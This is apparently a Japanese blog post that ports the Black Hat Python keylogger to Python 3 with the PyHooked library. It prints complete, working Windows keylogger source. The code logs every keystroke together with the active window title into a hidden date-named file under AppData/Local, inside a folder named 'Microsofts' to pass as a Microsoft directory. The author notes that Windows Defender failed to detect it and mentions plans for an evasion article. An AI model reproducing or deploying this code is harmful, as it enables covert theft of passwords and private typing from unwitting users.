Black Hat Python のキーロガーをPyHookedで書き直した。
Black Hat PythonにPythonでキーロガーを構築する章があるのですが ただ2系で書かれており3系に治してもPyhookで下記のエラーがでて動かなかった。。
TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'
そこで PyHookedと呼ばれるライブラリを使用し書き直すことにしました。
from pyhooked import Hook,KeyboardEvent import sys import os import datetime from ctypes import * user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi window_current = None date = datetime.date.today() file_name = date.strftime('%Y_%m_%d') save_directory = '{0}//AppData//Local//Microsofts'.format(os.path.expanduser('~')) save_file = save_directory + '//' + '.' + file_name + '.txt' input_key = [] def setting_keylogger(): if not os.path.exists(save_directory): os.mkdir(save_directory) def get_current_process(): hwnd = user32.GetForegroundWindow() pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) process_id = "%d" % pid.value executable = create_string_buffer(512) h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) window_title = create_string_buffer(512) length = user32.GetWindowTextA(hwnd, byref(window_title),512) kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) return window_title.value.decode('cp932', 'ignore') def event(args): global window_current if isinstance(args,KeyboardEvent): if 'down' in args.event_type: now_window = get_current_process() if window_current != now_window: input_key.append(now_window+"\n") window_current = now_window if args.current_key not in ['Left','Up','Right','Down']: input_key.append(args.current_key) if 'Return' == args.current_key: with open(save_file,'a') as f: f.write(''.join(input_key)+'\n') input_key.clear() setting_keylogger() window_current = get_current_process() hook = Hook() hook.handler = event hook.hook()
C:\Users\username\AppData\Local
にMicrosoftsというディレクトリを作成し.Y_m_d.txtというフォーマットで
押したキーを保存する部分を追加しました。Windows Defenderで検知されるかと思ったら意外と検知されずに
動いてしまった。
以下はVirusTotalにアップロードした結果です。
Windows Defenderに検知されて回避する記事を書こうと思ってたのに予定が狂ってしまった。